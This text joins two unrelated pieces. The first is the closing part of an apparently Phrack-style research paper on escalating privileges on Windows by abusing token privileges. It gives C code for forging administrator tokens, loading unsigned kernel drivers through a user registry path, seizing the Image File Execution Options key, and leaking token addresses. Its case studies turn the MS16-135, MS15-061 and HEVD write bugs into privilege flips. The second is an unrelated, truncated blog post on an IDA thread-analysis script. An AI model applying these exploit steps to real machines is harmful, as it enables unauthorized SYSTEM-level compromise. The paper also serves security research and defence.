593 | for these interfaces and ZwCreateToken is not very friendly. Most of the  
594 | fields we can query from our executing token via GetTokenInformation, with  
595 | only a few exceptions.  
596 |   
597 | As mentioned, we want to enable the local administrator group on the token.  
598 | To do this, we build a SID using the RID of the group:  
599 |   
600 |  SID\_BUILTIN SIDLocalAdminGroup = \{ 1, 2, \{ 0, 0, 0, 0, 0, 5 \}, \{ 32,  
601 |  DOMAIN\_ALIAS\_RID\_ADMINS \} \};  
602 |   
603 | We then iterate over the token's groups and elevate it from user to  
604 | administrative membership:  
605 |   
606 |  for \(int i = 0; i < groups->GroupCount; ++i, pSid++\) \{   
607 |  PISID piSid = PISID\)pSid->Sid;   
608 |  if \(piSid->SubAuthority\[piSid->SubAuthorityCount - 1\] ==   
609 |  DOMAIN\_ALIAS\_RID\_USERS\)\{   
610 |  memcpy\(piSid, &TkSidLocalAdminGroup, sizeof\(TkSidLocalAdminGroup\)\);  
611 |  pSid->Attributes = SE\_GROUP\_ENABLED;   
612 |  \}   
613 |  \}  
614 |   
615 | The final change is ensuring that we're building a TokenImpersonation  
616 | token. This can be set in the token's object attributes:  
617 |   
618 |  SECURITY\_QUALITY\_OF\_SERVICE sqos = \{ sizeof\(sqos\),   
619 |  SecurityImpersonation,  
620 |  SECURITY\_STATIC\_TRACKING, FALSE \};   
621 |  OBJECT\_ATTRIBUTES oa = \{ sizeof\(oa\), 0, 0, 0, 0, &sqos \};  
622 |   
623 | Provided we maintain the token user and integrity level, we can finally use  
624 | the token and impersonate the executing thread.   
625 |   
626 | \------ \[ 3.1.7 - SeLoadDriverPrivilege  
627 |   
628 | The LoadDriver privilege is described by Microsoft as “User Right: Load and  
629 | unload device drivers”. The fact that device drivers run in the kernel  
630 | makes this a very desirable privilege.  
631 |   
632 | Our goal then is to execute arbitrary code in the kernel given only  
633 | SeLoadDriverPrivilege and to bypass any driver signing requirements in the  
634 | process; a tall order. Most documentation on this privilege and the  
635 | associated “NtLoadDriver” Windows API call assumes that the caller has  
636 | additional privilege on the system, specifically the ability to write to  
637 | the HKLM \(HKEY\_LOCAL\_MACHINE\) section of the Windows registry.  
638 |   
639 | The format of the Windows API call to load a driver is as follows:  
640 |   
641 |  NTSTATUS NtLoadDriver\( \_In\_ PUNICODE\_STRING DriverServiceName\);  
642 |   
643 |  DriverServiceName \[in\] Pointer to a counted Unicode string that specifies a  
644 |  path to the driver's registry key,  
645 |  \Registry\Machine\System\CurrentControlSet\Services\DriverName, where  
646 |  DriverName is the name of the driver.  
647 |   
648 | The DriverServiceName parameter is a pointer to a registry location. Under  
649 | the “DriverName” key, there should be at least the following two values:  
650 |   
651 |  \+ ImagePath - A string in the format “\??\C:\path\to\driver.sys”   
652 |  \+ Type - A DWORD that should be set to “1”  
653 |   
654 | Notice the “DriverServiceName” parameter format supposedly \(according to  
655 | the documentation\) must begin with “\Registry\Machine” which is a reference  
656 | to the HKLM registry key for which we are assuming we do not have access.  
657 | In order to circumvent this obstacle, we can actually use a path that  
658 | points to HKCU \(HKEY\_CURRENT\_USER\) instead such as  
659 | “\Registry\User\S-1-5-21-582075628-3447520101-2530640108-1003\”. Here the  
660 | numeric ID in the string is the RID for our current user. We must do this  
661 | because the kernel doesn't know what HKCU is, as it's purely a userland  
662 | helper that points into the HKLM hive.  
663 |   
664 | Since “System\CurrentControlSet\Services\DriverName” does not exist under  
665 | this path we must create it, which we can do since it is the current user's  
666 | registry hive. The format for loading a simple driver is fairly  
667 | straightforward. We must, at minimum, define two things:  
668 |   
669 |  \+ REG\_DWORD Type   
670 |  \+ REG\_SZ ImagePath  
671 |   
672 | The type defines the service, as listed in wdm.h:  
673 |   
674 |  \#define SERVICE\_KERNEL\_DRIVER 0x00000001   
675 |  \#define SERVICE\_FILE\_SYSTEM\_DRIVER 0x00000002   
676 |  \#define SERVICE\_ADAPTER 0x00000004   
677 |  \#define SERVICE\_RECOGNIZER\_DRIVER 0x00000008   
678 |  \[....\]  
679 |   
680 | In our case, we'll use the SERVICE\_KERNEL\_DRIVER type. Once these values  
681 | are set, we can then invoke NtLoadDriver with a path to our registry key  
682 | and load the driver into the kernel.  
683 |   
684 | There are several other strategies that can be used to load kernel mode  
685 | drivers, such as the FltMgr or condrv key, but these cannot be used without  
686 | administrative privileges in the first place.  
687 |   
688 | \------ \[ 3.1.8 - SeTakeOwnershipPrivilege  
689 |   
690 | This privilege is, offensively, similar to SeRestorePrivilege. According  
691 | to MSDN, it allows a process to “take ownership of an object without being  
692 | granted discretionary access” by granting the WRITE\_OWNER access right.  
693 | Exploiting this privilege is very similar to SeRestorePrivilege, except we  
694 | first need to take ownership of the registry key we want to write to.  
695 |   
696 | Taking ownership of the registry key requires building an ACL with updated  
697 | ownership, then modifying the DACL so that we can write into it. Building  
698 | an ACL requires the construction of an EXPLICIT\_ACCESS object:  
699 |   
700 |  ea\[0\].grfAccessPermissions = KEY\_ALL\_ACCESS;  
701 |  ea\[0\].grfAccessMode = SET\_ACCESS;   
702 |  ea\[0\].grfInheritance = SUB\_CONTAINERS\_AND\_OBJECTS\_INHERIT;  
703 |  ea\[0\].Trustee.TrusteeForm = TRUSTEE\_IS\_SID;   
704 |  ea\[0\].Trustee.TrusteeType = TRUSTEE\_IS\_USER;   
705 |  ea\[0\].Trustee.ptstrName = \(LPTSTR\)user->User.Sid; // owner   
706 |   
707 | We can then use SetEntriesInAcl to build the ACL object. Once the ACL  
708 | object is composed, we take ownership of the registry path:  
709 |   
710 |  SetNamedSecurityInfo\(  
711 |  \_TEXT\("MACHINE\\\SOFTWARE\\\Microsoft\\\Windows NT\\\CurrentVersion  
712 |  \\\Image File Execution Options"\),   
713 |  SE\_REGISTRY\_KEY,  
714 |  OWNER\_SECURITY\_INFORMATION,   
715 |  user->User.Sid,   
716 |  NULL, NULL, NULL\);  
717 |   
718 | Once we own the registry key, we make one last call to SetNamedSecurityInfo  
719 | to enable the previously composed ACL and gain write privileges to the  
720 | entry:  
721 |   
722 |  SetNamedSecurityInfo\(\_TEXT\("MACHINE\\\SOFTWARE\\\Microsoft\\\Windows  
723 |  NT\\\CurrentVersion\\\Image File Execution Options"\),   
724 |  SE\_REGISTRY\_KEY, // type of object   
725 |  DACL\_SECURITY\_INFORMATION, // change DACL   
726 |  NULL, NULL, // do not change owner or group   
727 |  pACL, // DACL specified   
728 |  NULL\);  
729 |   
730 | At this point we can follow the same steps taken via the SeRestorePrivilege  
731 | method, making sure to restore registry ownership once we're done.  
732 |   
733 | Much like SeRestorePrivilege, we can also take control of critical system  
734 | files or folders to abuse DLL load order or other such techniques.   
735 |   
736 | \------ \[ 3.1.9 - SeDebugPrivilege  
737 |   
738 | SeDebugPrivilege is very powerful, it allows the holder to debug another  
739 | process, this includes reading and writing to that process' memory. This  
740 | privilege has been widely abused for years by malware authors and exploit  
741 | developers, and therefore many of the techniques that one would use to gain  
742 | EoP through this privilege will be flagged by modern endpoint protection  
743 | solutions.  
744 |   
745 | There are a host of various memory injection strategies that can be used  
746 | with this privilege that evade a majority of AV/HIPS solutions. Finding  
747 | these is left as an exercise for the reader.  
748 |   
749 | \----\[ 3.2 - Exploiting Partial Writes  
750 |   
751 | With an understanding of how individual privileges can be exploited, we can  
752 | now begin to demonstrate how and why these might be useful to us. Case  
753 | studies will be discussed further in section 4.  
754 |   
755 | This technique was born from attempts at evading various kernel and  
756 | userland mitigations via partial write exploits. To establish a familiar  
757 | vernacular, a partial write is an instruction in which the destination is  
758 | controlled, but the value written may not be. Or the value may be a single  
759 | bit or byte modification, such as a decrement or addition. Take for  
760 | example a DEC operation; if the destination address can be controlled, then  
761 | we've got the ability to arbitrarily decrement any address by one. The OR  
762 | instruction is another example; while we may control the destination in  
763 | which we perform the OR operation, we might not control the value in which  
764 | we OR it with: OR DWORD PTR\[controlled\], 4.  
765 |   
766 | Commonly, exploiting these would require modifying object fields, such as a  
767 | length, in order to obtain an arbitrary or partial read/write primitive.  
768 | Others may make modifications to page tables or mangle other kernel mode  
769 | data structures. These are all pieces to a larger exploit chain that  
770 | generally ends in NULLing an ACL, swapping process tokens, or executing a  
771 | privileged usermode process. Privileged execution \(see:payload\) changes  
772 | with the mitigation landscape.  
773 |   
774 | Instead of trying to execute ROP in the kernel or mangle kernel objects,  
775 | why not delegate the escalation of privileges to userland? Much like the  
776 | process swapping strategy, if we can enable elevated privileges in  
777 | userland, we stand to benefit from increased reliability, trivial  
778 | sidestepping of various kernel mitigations, and increased flexibility in  
779 | the deliverance of some malicious payload. We want to persist on a system  
780 | unimpeded, and to do so we must remain clandestine.   
781 |   
782 | As discussed in section 1.2, each token has a \_SEP\_TOKEN\_PRIVILEGES  
783 | structure containing what privileges a token currently holds. Our path  
784 | towards elevation should be pretty obvious: by abusing a partial write and  
785 | a userland information leak, we can flip a few bits in our process token  
786 | and obtain access to administrative privileges. Because we often cannot  
787 | control the value being written, it's important that all possible values  
788 | allow for elevation. We've identified three bytes in which do not grant  
789 | administrative privileges: 0x00, 0x40, 0x41. That is, if you were to  
790 | obtain a MOV BYTE PTR\[controlled\], 0x41 primitive, you would not be able to  
791 | enable an exploitable privilege. This assumes a MOV operation on default  
792 | privilege bitmasks; other operations or combinations of privileges may  
793 | grant elevated privileges. All other values provide access to an  
794 | exploitable privilege.  
795 |   
796 | In order to target this process token, we must be able to obtain the  
797 | address of a controlled processes token. As we're targeting privilege  
798 | escalation vulnerabilities with this strategy, we can use and continue to  
799 | use \(as of v1703\) the common NtQuerySystemInformation API to leak our  
800 | process token address, as demonstrated below:  
801 |   
802 |  NtQuerySystemInformation\(16, bHandleInfo,   
803 |  sizeof\(bHandleInfo\),  
804 |  &BytesReturned\)\);  
805 |   
806 |  PSYSTEM\_HANDLE\_INFORMATION shiHandleInfo =   
807 |  \(PSYSTEM\_HANDLE\_INFORMATION\)bHandleInfo;  
808 |  PSYSTEM\_HANDLE\_TABLE\_ENTRY\_INFO hteCurrent= &shiHandleInfo>Handles\[0\];  
809 |   
810 |  for \(i = 0; i<shiHandleInfo>NumberOfHandles; hteCurrent++, i++\) \{   
811 |  if\(hteCurrent>UniqueProcessId == dwPid &&  
812 |  hteCurrent>HandleValue == \(USHORT\)hToken\)   
813 |  return hteCurrent>Object;   
814 |  \}  
815 |   
816 | The dwPid value is the process in which the token exists, and the hToken is  
817 | a handle to the process token. Note that, as of Windows 8.1 this strategy  
818 | no longer works under Low integrity processes, and thus other methods will  
819 | need to be employed. For brevity and clarity, we will work under the  
820 | assumption that we're targeting privilege escalation from a Medium  
821 | integrity process \(default IL for users\) and rely on the above technique.  
822 |   
823 | \----\[ 3.3 - Abusing Existing Service Accounts  
824 |   
825 | In addition to being useful for local privilege escalation through  
826 | arbitrary write primitives in the kernel, these same techniques can be of  
827 | use in the more common scenario where an attacker is accessing the machine  
828 | as a local service account.  
829 |   
830 | There are a number of common scenarios where an attacker is able to execute  
831 | code in the context of a service account on a target machine, including the  
832 | following:  
833 |   
834 |  \+ The service itself is compromised through some vulnerability. Typical  
835 |  scenarios include web application vulnerabilities which allow execution  
836 |  in the context of the account running IIS, and SQL injection   
837 |  vulnerabilities where XP\_CMDSHELL can be used to run code in the   
838 |  context of the SQL service account.  
839 |   
840 |  \+ Service account credentials are leaked in some way.  
841 |   
842 |  \+ Kerberoast style attacks. A Kerberos ticket is requested for the target  
843 |  account from the domain controller. Part of this ticket is encrypted  
844 |  using the target account's password hash. This can be efficiently   
845 |  cracked offline to yield the account password.  
846 |   
847 | In any of these scenarios, if the service account happens to have one of  
848 | the privileges outlined in the previous section, it is possible to gain  
849 | local privilege escalation simply by leveraging the corresponding module  
850 | from this project.  
851 |   
852 | \----\[ 3.3.1 - Common Service Accounts  
853 |   
854 | In this section, we will give brief examples of some common service  
855 | accounts that can be abused for EoP due to their default token privileges.  
856 |   
857 | \----\[ 3.3.1.2 - MSSQL / IIS  
858 |   
859 | If we examine the default privileges assigned to the MSSQL and IIS service  
860 | accounts using the “AccessChk” tool from Sysinternals, we find the  
861 | following:  
862 |   
863 |  \+ IIS - SeImpersonatePrivilege - BUILTIN\IIS\_IUSRS  
864 |  \+ MSSQL - SeAssignPrimaryTokenPrivilege -   
865 |  NT SERVICE\SQLAgent$SQLEXPRESS,   
866 |  NT SERVICE\MSSQLLaunchpad$SQLEXPRESS,   
867 |  NT SERVICE\MSSQL$SQLEXPRESS  
868 |   
869 | These privileges are sufficient for EoP by leveraging the modules in this  
870 | project. Compromise of these accounts is a very common penetration testing  
871 | scenario. Any time SQL injection in MSSQL, or a web application  
872 | vulnerability in IIS is exploited to gain command execution, the attackers  
873 | end up with these privileges. Traditionally, this was considered a limiting  
874 | scenario with a restricted local account and an attacker would need to  
875 | resort to another method for EoP. Using the techniques outlined in this  
876 | paper, it is simply a matter of abusing existing token privileges.  
877 |   
878 | \----\[ 3.3.1.3 - Backup Products  
879 |   
880 | Every commercial backup product on the market will run with some sort of  
881 | elevated privilege. In many cases, the backup service account will run with  
882 | SYSTEM privileges, making EoP unnecessary. Where administrators have  
883 | started to smarten up however, we are starting to see the privileges on  
884 | these accounts become more restricted.   
885 |   
886 | The following are the minimum privileges required by the Veritas NetBackup  
887 | solution, shamelessly borrowed from their website  
888 | \(https://www.veritas.com/support/en\_US/article.TECH36718\):  
889 |   
890 |  \+ \*Act as a part of Operating System \( Only for Windows Server 2000 \).  
891 |  \+ \*Create a token object.  
892 |  \+ Log on as a service.  
893 |  \+ Logon as a batch job.  
894 |  \+ Manage auditing and security log.   
895 |  \+ \*Backup files and directories.  
896 |  \+ \*Restore files and directories.  
897 |   
898 | Note the 4 items in the list that we've marked with an asterisk \(\*\). Any  
899 | one of these privileges alone can be leveraged for EoP given one of the  
900 | techniques described in this project.  
901 |   
902 | \----\[ 3.3.1.4 - Local Service Accounts   
903 | There are also pre-defined service accounts on every Windows machine that   
904 | contain privileges that can be leveraged for EoP. These are   
905 | “NT AUTHORITY\SERVICE”, “NT AUTHORITY\NETWORK SERVICE”, and   
906 | “NT AUTHORITY\LOCAL SERVICE”.  
907 |   
908 | Each of these has slightly different privileges, some contain multiple  
909 | exploitable privileges, however they all have access to the exploitable  
910 | SeImpersonatePrivilege.  
911 |   
912 | If an attacker is somehow able to gain access to the system under the  
913 | context of one of these limited local accounts, they can trivially elevate  
914 | their privileges to “NT AUTHORITY\SYSTEM” using the techniques outlined  
915 | above.  
916 |   
917 | \--\[ 4 - Kernel Exploit Development Case Studies  
918 |   
919 | We'll now detail several case studies that demonstrate how and why we may  
920 | want to delegate privileged exploitation to userland. Note that our  
921 | strategy applies towards elevation of privilege; it cannot, in its current  
922 | state, be used remotely.  
923 |   
924 | \----\[ 4.1 - MS16-135  
925 |   
926 | MS16-135 is the bug that we first wrote an exploit for using this strategy,  
927 | and proves to be a fantastic case study. Initially released by Google  
928 | after identifying active exploitation in the wild \[13\], a trigger was  
929 | quickly released and the race for weaponization began.  
930 |   
931 | One of the first public demonstrations of exploitability was by Enrique  
932 | Nissim at Zero Nights 2016 \[14\], in which he used the bug to demonstrate  
933 | PML4 randomization weaknesses. Several other proof of concepts followed in  
934 | suit, most abusing the PML4 strategy, others using the pvscan0 technique.  
935 | The bug can be triggered via SetWindowLongPtr with a specifically crafted  
936 | window and index value. The result is a controlled OR operation: OR DWORD  
937 | PTR\[controlled\], 4. The first step is identifying the address of  
938 | \_SEP\_TOKEN\_PRIVILEGES. This can be accomplished using the following:  
939 |   
940 |  OpenProcessToken\(OpenProcess\(PROCESS\_QUERY\_INFORMATION,   
941 |  1, GetParentProcessId\(\)\),  
942 |  TOKEN\_QUERY | TOKEN\_QUERY\_SOURCE,   
943 |  &current\_token\);  
944 |   
945 |  dwToken = \(UINT\)current\_token & 0xffff;   
946 |  \_TOKEN = GetHandleAddress\(GetCurrentProcessId\(\), dwToken\);  
947 |  startTokenOffset = \(UINT\)\_TOKEN + 0x40;  
948 |   
949 | We first open a handle to our parent process token, then use a  
950 | NtQuerySystemInformation wrapper function to fetch the actual address of  
951 | the token. The structure we're after lies 0x40 bytes ahead. Note that the  
952 | NtQuerySystemInformation leak only works from medium integrity processes on  
953 | Windows 8.1+. In order to exploit this from a low integrity process, we  
954 | will need to abuse a different leak \[9\].  
955 |   
956 | With the token address, we now adjust the offset to the enabled bitmask and  
957 | invoke:  
958 |   
959 |  ULONG enabled\_create\_token = startTokenOffset + 0xa;  
960 |  SetWindowLongPtr\(childWnd, GWLP\_ID, \(LONG\)\(enabled\_create\_token - 0x14\)\);  
961 |   
962 | Should we trigger this bug multiple times while shifting the offset, we can  
963 | hit each byte in the Enabled bitmask. This enables the following  
964 | privileges:  
965 |   
966 |  02 0x000000002 SeCreateTokenPrivilege Attributes - Enabled   
967 |  10 0x00000000a SeLoadDriverPrivilege Attributes - Enabled  
968 |  18 0x000000012 SeRestorePrivilege Attributes - Enabled  
969 |  23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled  
970 |   
971 | As we've seen, three of the four privileges enabled are trivially  
972 | exploitable. Our proof of concept code opts to abuse the  
973 | SeRestorePrivilege, and can be found in the project git repository \[3\].  
974 |   
975 | Though many of the public exploits for this bug were written in such a way  
976 | to demonstrate a technique, we find that the presented example highlights  
977 | the simplicity and reliability of our strategy: it relies only on the  
978 | external need to leak a token address from the kernel. Public proof of  
979 | concepts are much more complicated and require a variety of primitive  
980 | grooming and kernel dancing.  
981 |   
982 | \----\[ 4.2 - MS15-061  
983 |   
984 | This was another fantastic bug observed in the wild during the RussianDoll  
985 | campaigns and was quickly reversed and weaponized within the community.  
986 | Much like MS16-135, this is a partial write that allows for the decrement  
987 | of a controlled address. The bug was a use after free in win32k,  
988 | specifically yet another issue with usermode callbacks emanating from  
989 | within win32k \[15\].  
990 |   
991 | Our strategy here does not differ much from the example in 4.1: we identify  
992 | our token address, groom the heap to obtain our arbitrary decrement, and  
993 | trigger it a few times to cover the Enabled and Present bitmasks. This  
994 | enables a whole host of different privileges, namely:  
995 |   
996 |  07 0x000000007 SeTcbPrivilege Attributes - Enabled  
997 |  09 0x000000009 SeTakeOwnershipPrivilege Attributes - Enabled   
998 |  10 0x00000000a SeLoadDriverPrivilege Attributes - Enabled   
999 |  17 0x000000011 SeBackupPrivilege Attributes - Enabled  
1000 |  18 0x000000012 SeRestorePrivilege Attributes - Enabled  
1001 |   
1002 | 14 privileges are enabled, in total; the immediately exploitable ones are  
1003 | shown above. A proof of concept is again provided in the project git  
1004 | repository \[3\].  
1005 |   
1006 | Public samples use a variety of strategies; one of the first released by  
1007 | NCC uses an older technique from Pwn2Own 2013, in which shellcode is  
1008 | stashed in a tagWND structure and the bServerSideWindowProc bit is  
1009 | decremented until it wraps, meaning that the tagWND's window procedure will  
1010 | be executed without context switching. The shellcode used NULLs out  
1011 | winlogon's ACL and injects into the privileged process. Other samples use  
1012 | the more modern process token swapping strategy.  
1013 |   
1014 | The point here being that we do not need to execute any shellcode and we  
1015 | do not need to work to obtain any other primitives.   
1016 |   
1017 | \----\[ 4.3 - HEVD  
1018 |   
1019 | HEVD, or the HacksysExtremeVulnerableDriver \[16\], is an intentionally  
1020 | vulnerable Windows driver that can be loaded into a system to learn and  
1021 | research various exploitation strategies and techniques. It additionally  
1022 | provides a simple way to demonstrate mitigation evasion strategies on  
1023 | modern, fully up-to-date systems without having to use 0days.  
1024 |   
1025 | We demonstrate our technique using the arbitrary write bug present in HEVD,  
1026 | triggerable with the 0x22200b control code. As mentioned, the “bug” is an  
1027 | intentional and controllable write-what-where primitive in the driver,   
1028 | distilled below for brevity:  
1029 |   
1030 |  NTSTATUS TriggerArbitraryOverwrite\(IN PWRITE\_WHAT\_WHERE   
1031 |  UserWriteWhatWhere\)  
1032 |  \{   
1033 |  What = UserWriteWhatWhere->What;   
1034 |  Where = UserWriteWhatWhere->Where;  
1035 |  \*\(UserWriteWhatWhere->Where\) = \*\(UserWriteWhatWhere->What\);  
1036 |  \}  
1037 |   
1038 | There are several public demonstrations on exploiting this; most for  
1039 | Windows 7, several for Windows 10 build 1607. One from Cn33liz \[17\]  
1040 | demonstrates exploiting this via the GDI Reloaded technique presented at  
1041 | Ekoparty ‘16. The Reloaded strategy improves upon the original GDI pvscan  
1042 | strategy, including bypassing the GDI shared handle table KASLR fix  
1043 | introduced in v1607, by leaking kernel addresses via the global gSharedInfo  
1044 | table \(an old, but clearly still viable leak\).   
1045 |   
1046 | In v1703 \(Creators Update\), the table structure has been changed and the  
1047 | leaking addresses removed. So, clearly the GDI Reloaded technique still  
1048 | works, provided we can identify another KASLR leak; something tells us one  
1049 | will turn up.  
1050 |   
1051 | The last sample of note is from GradiusX, which demonstrates exploitation  
1052 | on a v1703 Windows 10 system. The sample uses the GDI rw primitive to leak  
1053 | the EPROCESS structure from the current process, which can then be used to  
1054 | leak the token address of the running process. Once the address has been  
1055 | leaked, it leaks a SYSTEM token address and overwrites, using the GDI  
1056 | primitive, its resident token with the SYSTEM token. Thus, the token swap.  
1057 | Using the GDI primitive to leak the EPROCESS structure \(via \_THREADINFO\)  
1058 | allows it to bypass the need for a separate KASLR leak and should  
1059 | consequently work fine from low integrity processes.  
1060 |   
1061 | Our strategy here is pretty simple; there's no need to groom a heap,  
1062 | execute shellcode, or setup rw primitives. Due to changes to the  
1063 | \_SEP\_TOKEN\_PRIVILEGES structure \[4\], we must issue two separate calls to  
1064 | DeviceIoControl; one to overwrite the Enabled mask and one to the Present  
1065 | mask. As with the previous examples, we fetch our token address and  
1066 | offsets:  
1067 |   
1068 |  uToken = \(USHORT\)current\_token & 0xffff;   
1069 |  \_TOKEN = GetHandleAddress\(GetCurrentProcessId\(\), uToken\);   
1070 |  startTokenOffset = \(ULONG\)\_TOKEN + 0x40;   
1071 |  enabled\_offset = \(ULONG\)\_TOKEN + 0x48;  
1072 |   
1073 | We then setup our what/where primitives \(using the PWRITE\_WHAT\_WHERE  
1074 | structure as defined by HEVD\):  
1075 |   
1076 |  pww = \(PWRITE\_WHAT\_WHERE\)HeapAlloc\(GetProcessHeap\(\), HEAP\_ZERO\_MEMORY,  
1077 |  sizeof\(WRITE\_WHAT\_WHERE\)\);   
1078 |  pww->What = \(PULONG\_PTR\)what;   
1079 |  pww->Where = \(PULONG\_PTR\)startTokenOffset;  
1080 |   
1081 | Then simply trigger the driver via DeviceIoControl. We perform it a second  
1082 | time with the enabled\_offset as the where. We now have elevated privileges  
1083 | enabled on the token.  
1084 |   
1085 | \--\[ 5 - Conclusions  
1086 |   
1087 | As Microsoft continues to iterate and improve upon baseline mitigation  
1088 | strategies on Windows, both in userland and in the kernel, attackers  
1089 | additionally continue to iterate. The ideas presented here may not be a  
1090 | breakthrough in offensive kernel exploitation, but we believe they provide  
1091 | a glimpse of where exploitation patterns are headed. Towards the logical,  
1092 | away from the kernel, in the land where applications and scripts and Office  
1093 | documents frolic with critical, privileged controls. We've demonstrated  
1094 | how trivial a write-whatever-where can be exploited in a safe, predictable,  
1095 | and stable way with only a haiku of information from the kernel.  
1096 |   
1097 | Attacking individual privileges seems to be a logical progression of  
1098 | existing trends: token swapping, DACL mangling, privileged file writes.  
1099 | Attackers more often than not are pursuing slices and not wholes; ability  
1100 | to read or write here, modify this or that file or key. Limiting the scope  
1101 | of privileged access increases the overall effectiveness and decreases   
1102 | exposure of an attack.   
1103 |   
1104 | Ideally, we can identify other such privileges to be abused, as they are as  
1105 | bountiful as they are opaque. The EPROCESS structure is ripe with flags  
1106 | and masks controlling various access gears within the kernel. We did not  
1107 | touch offensively on impersonation, split access tokens, threads, or other  
1108 | such facilities, but their primitive potential is all but guaranteed. The  
1109 | kernel boogeyman be damned.  
1110 |   
1111 | \--\[ 6 - Greetz  
1112 |   
1113 | Too many people. Everything is iterative, nothing is original.   
1114 |   
1115 | themson, bannedit, quitos, tiraniddo, aionescu, phrack, pastor laphroaig,  
1116 | shellster  
1117 |   
1118 | \--\[ 7 - References  
1119 |   
1120 | \[0\] https://blogs.technet.microsoft.com/mmpc/2017/01/13/hardening-windows-10-with-zero-day-exploit-mitigations/  
1121 | \[1\] https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH\_US\_12\_Cerrudo\_Windows\_Kernel\_WP.pdf  
1122 | \[2\] https://blogs.technet.microsoft.com/mmpc/2016/11/01/our-commitment-to-our-customers-security/  
1123 | \[3\] https://github.com/hatRiot/token-priv  
1124 | \[4\] http://www.anti-reversing.com/2251/   
1125 | \[5\] https://labs.nettitude.com/blog/analysing-the-null-securitydescriptor-kernel-exploitation-mitigation-in-the-latest-windows-10-v1607-build-14393/  
1126 | \[6\] https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/  
1127 | \[7\] https://bugs.chromium.org/p/project-zero/issues/detail?id=872   
1128 | \[8\] https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf  
1129 | \[9\] https://github.com/sam-b/windows\_kernel\_address\_leaks   
1130 | \[10\] https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH\_US\_12\_Cerrudo\_Windows\_Kernel\_WP.pdf  
1131 | \[11\] https://www.blackhat.com/docs/eu-16/materials/eu-16-Liang-Attacking-Windows-By-Windows.pdf  
1132 | \[12\] https://labs.bluefrostsecurity.de/publications/2016/01/07/exploiting-cve-2014-4113-on-windows-8.1/  
1133 | \[13\] https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to-protect.html  
1134 | \[14\] https://github.com/IOActive/I-know-where-your-page-lives/  
1135 | \[15\] https://community.rapid7.com/community/metasploit/blog/2015/10/01/flipping-bits  
1136 | \[16\] https://github.com/hacksysteam/HackSysExtremeVulnerableDriver  
1137 | \[17\] https://github.com/Cn33liz/HSEVD-ArbitraryOverwriteGDI   
1138 | \[18\] http://uninformed.org/index.cgi?v=8&a=5&p=2  
1139 | \[19\] https://blogs.msdn.microsoft.com/winsdk/2015/08/28/logon-as-a-user-without-a-password/  
1140 | \[20\] https://bugs.chromium.org/p/project-zero/issues/detail?id=325  
  

# Hooked on Mnemonics Worked for Me: IDA Thread Analysis Script

**Created:**| _8/16/2012 9:24:24 AM_  
---|---  
**Updated:**| _8/16/2012 9:24:24 AM_  
**Author:**| __  
**Tags:**| _iDA plugin multi-threading_  
  

# Hooked on Mnemonics Worked for Me

### IDA Thread Analysis Script

In a recent post, I talked about renaming subroutine-blocks and identifying
them in IDA. This technique is very helpful for identifying large block of
functions where the parent and child functions are self-contained. Library
code is a good example of code that is self contained. Take for example a zip
library. The zip library is linked to an executable file. To call it we would
pass a buffer to the zip function, the buffer would get passed to the child
functions, the zip functions will do their magic and a compressed buffer is
returned \(simplified version\). All of the child functions that were
responsible for doing the zip magic would be considered a sub-routine block.
They are all related and self-contained. What about a set of functions that
are related but not self-contained? A perfect example of this would be a
thread.  
  
  
  
Usually threads are designed to serve one purpose. A thread could contain
functions that are called from other functions, which would not make it self
contained. Due to the single purpose all the functions would be related. By
identifying the code path of a specific thread we might be able to help with
enumerating the threads functionality. First we will need to get the address
for each call to CreateThread. This can be done using
LocByName\("CreateThread",0\).  
  

[code]

    def retlistofCreateThreadAddr():
        addr = []
        for x in CodeRefsTo(LocByName("CreateThread"),0):
            addr.append(x)
        return addr
    
[/code]

We will then need to get the offset that is pushed on to the stack for the
thread's function start address \(lpStartAddr\). This is the third argument.  
  

[code]

    push    eax             ; lpThreadIdpush    ebx             ; dwCreationFlagspush    esi             ; lpParameterpush    offset StartAddress_SearchFiles ; lpStartAddresspush    ebx             ; dwStackSizepush    ebx             ; lpThreadAttributescall    ds:CreateThreadcmp     eax, ebx
    jz      short loc_1000341E
    
[/code]

From MSDN  
  

[code]

    HANDLE CreateThread(
      LPSECURITY_ATTRIBUTES lpsa,
      DWORD cbStack,
      LPTHREAD_START_ROUTINE lpStartAddr,
      LPVOID lpvThreadParam,
      DWORD fdwCreate,
      LPDWORD lpIDThread
    );
    
     // lpStartAddr: [in] Long pointer to the application-defined function of type
     // LPTHREAD_START_ROUTINE to be executed by the thread; represents the starting 
     // address of the thread. For more information on the thread function, see ThreadProc.
[/code]

  
  
IDA is usually good at identifying lpStartAddr. If we rely on IDA, we can back
trace a number of instructions from the address found in
retlistofCreateThreadAddr\(\) until we find the string "lpStartAddr" in the
comments. Once we have the address we just need to read a Dword for the
threads function start address. There are a couple of flaws to this approach.
One is that we are relying on IDA for comments and another is we are relying
on lpStartAddr to be a Dword address. The function address could be chosen at
runtime. If this is the case we won't be abel to find lpStartAddr. The code
will then need to be manually analyzed. An easy way to determine if we were
able to receive the lpStartAddr is to check if it's a valid address using
GetFunctionName\(lpStartAddr\).  
  
  
  

[code]

    def getStartAddr(ct_addr):
        # backtrace to find string "lpStartAddress"
        count = 0
        addr = PrevHead(ct_addr,minea=0)
        while count < 10:
            if 'lpStartAddress' in str(Comment(addr)):
                return Dword(addr+1) 
            count = count + 1
            addr = PrevHead(addr,minea=0)
            continue 
    
[/code]

[code]

     
    
[/code]

Once we have the lpStartAddr we just need to get all of it's child functions.
For this we can use a modified version of the stolen code \(graph\_down
function\) from Carlos G. Prado. The modification returns a list that contains
the function name and the address of where a call is at. This list can be used
to get the depth of each function. Once we have the depth we can display each
threads and all of it's child functions in a structured output in IDA.  
  
  
  

<img src='img/thread_out.png' />

  
  
  
  
<img src='img/thread_out-2.png' />  
---  
  
  
  
This script will be included in the upcoming release of IDAScope. In the
previous post we used a script to rename all functions in a subroutine block.
The same script can be used for renaming all child functions in a thread. For
the IDAScope release of this script it will be in it's own window. Plus, the
script will have an option to add a repeating comment to all child functions
in a thread. Constant appending to the function name starts to clutter it up.
Dan has been doing some awesome work on IDAScope \(makes my updates look like
sophomore programing examples\).  
  
  
  
For anyone who wants the code now the script and code can be found below.  
  
  
  
_Note: Calculating the depth is probably the slowest part of the code. I tried
to figure out away to get the depth from inside the graph\_down function but I
